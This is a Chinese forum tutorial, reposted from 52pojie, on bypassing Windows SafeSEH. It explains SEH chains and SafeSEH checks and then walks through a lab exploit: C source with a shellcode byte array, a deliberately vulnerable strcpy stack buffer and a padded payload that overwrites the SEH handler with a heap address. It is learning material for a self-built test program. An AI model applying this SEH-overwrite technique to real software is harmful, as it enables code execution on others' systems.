文章是发在吾爱破解的,这里直接转过来了
我也是个新手,刚学漏洞调试,发现要学的东西太多,想要把漏洞学好,必须精通各类系统底层机制,汇编,PE等等等等太多太多,所以不可能把这些东西都学会了,再去调试漏洞,只能一步步慢慢从简单开始,另外也要学会忽略那些你现在所力不能及的地方,如果实在不懂,就跳过,可能到哪一天你忽然就明白了。所以这里,也是希望同学们想学习的不要被这个东西吓到,静下心来慢慢看,如果有不懂的,我可以倾尽所能告诉大家,我要是不懂,论坛里不是还有各种大神嘛,一起请教他们啊。
另外建议大家学习的时候,一定要亲力亲为,最好有自己的实验环境,搭个虚拟机调试一下,自己做过和看过是不一样的概念。——————————————————————————————————割——————————————————————————————————
其实要说为了突破SEH机制,不需要深究太多原理,只要把SEH的基本原理,以及SEH链的结构整明白就行了,主要是那个链。(因为windows从没有公开过SEH的具体实现,都是靠大牛们逆向出来的)
SEH:structured Exception Handling,结构化异常处理。 是 Windows上 ,Microsoft对C/C++程序语言做的语法扩展,用于处理异常事件的程序控制结构。
异常事件是打断程序正常执行流程的不在期望之中的硬件、软件事件。
硬件异常是CPU抛出的如“除0”、数值溢出等;软件异常是操作系统与程序通过RaiseException语句抛出的异常。
我们需要对SEH知道以下几点:
1、SEH是位于栈中的
2、栈中多个SEH通过链表指针在栈内串成单向链表,位于链表最顶端的SEH通过TEB(线程环境块)0字节处的指针标示(fs:[0])
3、如果源代码中使用了__try{} __except{},编译器会向当前函数栈帧安装一个SEH
4、每个SEH包含两个DWORD指针:SEH链表指针和异常处理函数句柄(敲黑板敲黑板!!)———所以我们覆盖的是这个异常处理函数句柄
5、当离事故现场最近的异常处理函数处理不了的时候,顺着这个SEH链表依次尝试其他的异常处理函数,如果都没处理,就交给系统的顶层异常处理函数
SEH链表如下:
![](https://attach.52pojie.cn/forum/201708/01/111419umpanjm1iwi3dzzp.jpg)
——————————————————————————————————手工分割线——————————————————————————————————————
SafeSEH
Windows XP sp2以后微软引入了著名的SafeSEH机制,在程序调用异常处理函数之前,会对要调用的异常处理函数进行有效性校验,当发现异常函数不可靠时,将终止异常处理函数的调用。
SafeSEH流程(我估计是这张图让大家蒙X了,是的,这张图是本帖最难的=。=)
其实没必要完全整明白,只需要知道,函数在跳向异常处理函数的时候,会对这个函数进行各种各样的有效性检查就够了。
![](https://attach.52pojie.cn/forum/201707/31/095326r2amm8aawmnc86dm.jpg)
突破思路:
那么有3种情况,系统可以允许异常处理函数执行:
1、异常处理函数位于加载模块内存范围之外,DEP关闭( 下下次写这个 )
2、异常处理函数位于加载模块内存范围之内,相应模块未启用SafeSEH(SafeSEH表为空),不是纯IL( 下一次写这个 )
3、异常处理函数位于加载模块内存范围之内,相应模块启用SafeSEH,异常处理函数地址包含在SafeSEH表中( 放弃 )
可以看到,我们突破SafeSEH的方法分为3种
1、排除DEP干扰,在加载模块内存范围外找一个跳板指令就可以转入shellcode执行
2、利用未启用SafeSEH模块中的指令作为跳板,转入shellcode执行
3、由于SafeSEH表加密,对于新手的我暂时不考虑了。
利用堆绕过SafeSEH
今天先利用一个简单的方法绕过SafeSEH
原理:
如果SEH中的异常处理函数指针指向堆区,即使安全校验发现了SEH不可信,仍然会调用已经被修改过的异常处理函数,因此可以将shellcode布置到堆区就可以执行了。
调试环境:
SP sp3
vs2008
Release版本
(有没有大神看到我的这个问题!!)DEP这个问题我想请教一下大家,书中要求关闭,我看我的vs里面没有关闭,也没有影响实验结果。如下图:
![](https://attach.52pojie.cn/forum/201707/31/101416q77qhamii9ij373h.jpg)
调试思路:
这次的比较简单
1、确定shellcode在堆中的地址->在malloc后面下一个int3中断,eax存放的是堆分配的地址,也即shellcode拷贝的首地址
2、确定SEH指针地址(确定覆盖地址),确定shellcode在栈中的首地址,计算shellcode大小
源程序:
[C]
纯文本查看
复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
#include <stdio.h>#include <stdlib.h>
#include <string.h>
char
shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
;
int
zero = 0;
void
test(
char
*input)
{
char
str[200];
strcpy
(str, input);
zero = 1/zero;
}
void
main()
{
char
* buf=(
char
*)
malloc
(500);
__asm
int
3
strcpy
(buf,shellcode);
test(shellcode);
}
|
第一步:
先将shellcode设置为200字节,调试后在确定还需要多远才能覆盖掉SEH指针
直接双击Release程序,OD开始调试:
![](https://attach.52pojie.cn/forum/201707/31/101657uuitlesyyz9x6e8i.jpg)
得到 堆地址:0x003929B8
第二步:
运行到test中的strcpy,可以直接运行到循环结束,我是不想看汇编了,搜索FC68字符,直接定位 shellcode在栈中的位置:0x0012FE8C
然后直接F9,查看SEH链情况:
![](https://attach.52pojie.cn/forum/201707/31/102544wn6lzos45zdvbrsz.jpg)
SEH地址0x0012FFB0+4
所以能够得出 shellcode大小为0x12FFB4-0x12FE8C+4=300
所以填充shellcode后,代码如下:
[C]
纯文本查看
复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char
shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xB8\x29\x39\x00"
//address of shellcode in heap
;
int
zero = 0;
void
test(
char
*input)
{
char
str[200];
strcpy
(str, input);
zero = 1/zero;
}
void
main()
{
char
* buf=(
char
*)
malloc
(500);
//__asm int 3
strcpy
(buf,shellcode);
test(shellcode);
}
|
![](https://attach.52pojie.cn/forum/201707/31/103033kh6sg2vzeq4azqii.jpg)